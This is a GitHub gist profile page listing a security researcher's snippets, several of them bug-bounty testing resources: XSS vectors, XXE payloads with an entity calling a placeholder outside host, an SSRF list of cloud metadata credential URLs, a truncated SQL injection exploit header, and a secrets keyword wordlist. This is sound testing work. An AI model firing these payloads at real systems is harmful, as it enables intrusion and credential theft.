Skip to content

Instantly share code, notes, and snippets.

View bl4de's full-sized avatar
🇺🇦
#StandWithUkraine

Rafal Janicki bl4de

🇺🇦
#StandWithUkraine
939 followers · 85 following
View GitHub Profile
@bl4de
bl4de / console-output.txt
Last active December 4, 2017 15:38
Sleepsort JavaScript implementation. Just for fun ;)
[Running] node sleepsort.js
[ 25.647108284347908,
40.159794177756055,
53.365567944345436,
57.6989473257401,
58.212985122747526,
61.272387891387005,
65.97137345057268,
74.3321457018622,
@bl4de
bl4de / 666_lines_of_XSS_vectors.html
Created November 27, 2017 12:38 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@bl4de
bl4de / XXE_payloads
Created November 23, 2017 22:17 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@bl4de
bl4de / cloud_metadata.txt
Created October 26, 2017 09:22 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@bl4de
bl4de / breadcrumbComponent.js
Created October 24, 2017 11:41
Working AngularJS 1.6.6 breadcrumb component
'use strict';
angular.module('breadcrumb-component', [])
.component('breadcrumb', {
restrict: 'E',
bindings: {
path: '<'
},
controller: class breadcrumbCtrl {
constructor() {}
$onInit() {}
@bl4de
bl4de / breadcrumbComponent.js
Created October 24, 2017 09:52
breadcrumbComponent.js
'use strict';
angular.module('gbreadcrumb-component', [])
.component('breadcrumb', {
restrict: 'E',
bindings: {
path: '<',
active: '<'
},
controller: class breadcrumbCtrl {
constructor() {}
@bl4de
bl4de / ip_encoder.py
Created September 4, 2017 10:03 — forked from mhmdiaa/ip_encoder.py
import sys
def to_octets(ip):
return [int(i) for i in ip.split('.')]
def dotless_decimal(ip):
octets = to_octets(ip)
result = octets[0] * 16777216 + octets[1] * \
@bl4de
bl4de / exploit.py
Created August 21, 2017 13:11
exploit to extract data with SQLi
#!/usr/bin/env python
# XXXX.asp time-based SQL injection PoC exploit
# Rafal 'bl4de' Janicki
import requests
# base url
@bl4de
bl4de / h1_report_tpl.md
Last active November 16, 2023 07:53
HackerOne report template

Intro

Any information required by PROGRAM, like 'keywords' used by Concrete5, Phabricator etc.

Summary

summary of the vulnerability - where, what, why :)

Steps to reproduce

@bl4de
bl4de / wordlist.txt
Created August 17, 2017 14:37
keywords to look for while white-box source code analysis
api
api_key
api_secret_key
secret_key
secret
BEGIN
PRIVATE
private
PRIVATE_KEY
private_key